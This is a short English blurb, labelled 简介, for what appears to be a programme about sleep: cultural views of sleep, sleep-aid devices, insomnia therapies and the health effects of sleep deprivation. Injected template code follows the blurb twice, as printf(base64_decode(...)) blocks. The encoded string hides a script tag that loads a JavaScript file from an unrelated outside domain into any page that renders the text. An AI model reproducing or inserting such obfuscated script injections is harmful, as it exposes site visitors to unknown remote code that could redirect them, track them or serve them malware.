简介: We spend nearly a third of our lives sleeping, so sleep is a big deal. However, it is also a problem that needs to be solved. Discovers the cultural shift concerning how we view sleep, meet those who change traditions, explore different sleep-aid devices, discuss therapies for insomnia, and talk about the profound affect of sleep deprivation on our health{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.